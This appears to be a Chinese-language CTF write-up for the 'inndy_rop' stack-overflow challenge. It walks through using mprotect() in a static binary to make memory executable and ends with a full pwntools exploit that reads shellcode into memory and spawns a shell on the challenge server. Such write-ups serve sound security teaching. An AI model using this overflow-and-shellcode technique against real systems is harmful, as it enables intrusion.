inndy_rop(栈溢出)
我们先checksec一下:

没有开启canary保护,所以八成是栈溢出的题目,拖入IDA中,下面是主函数:

这里好像是没有办法反编译的,我的IDA不行,这里看到了nop指令,nop指令就是啥都不干的意思,可以直接跳过,我们看到了call
overflow 这条指令,我们去这个函数里面去看看:

没问题了,是栈溢出,这是一个静态编译的文件,我们可以利用mprotect()函数(静态编译一定存在)对某个地址的权限进行修改,将其修改为可读可写可执行,下面我们看看mprotect()函数的用法:

需要注意的是,参数addr必须是4kb的整数倍,也就是0x1000(4096=0x1000)字节的整数倍,size的大小也得是0x1000的整数倍,想要可读可写可执行,prot传入7就可以了,接下来我们可以找找要更改的地址:

我们选择0x80e9000这个地址,刚好是0x1000的整数倍,第二个参数我们设置成0x2000,把这个段写满:
1 2 3 4 5 6
| mprotect_address = 0x806DDA0 gai_address = 0x80e9000
payload = b"A"*(0xc+0x4) + p32(mprotect_address) + p32(main_address) + p32(gai_address) + p32(0x2000) + p32(0x7)
sh.sendline(payload)
|
这样的话,这个段就具有可读,可写,可执行的权限了并且返回到了main函数,接下来我们利用read函数,向0x806DDA0+0x1000地址写入shellcode,然后跳转到0x806DDA0+0x1000地址,最后脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
context.log_level = 'debug' sh = remote("node5.buuoj.cn",26356)
elf = ELF("./rop") main_address = elf.symbols["main"] read_address = 0x806d290
mprotect_address = 0x806DDA0 gai_address = 0x80e9000
payload = b"A"*(0xc+0x4) + p32(mprotect_address) + p32(main_address) + p32(gai_address) + p32(0x2000) + p32(0x7) sh.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b"A"*(0xc+0x4) + p32(read_address) + p32(gai_address+0x1000) + p32(0) + p32(gai_address+0x1000) + p32(len(shellcode))
sh.sendline(payload)
sh.sendline(shellcode)
sh.interactive()
|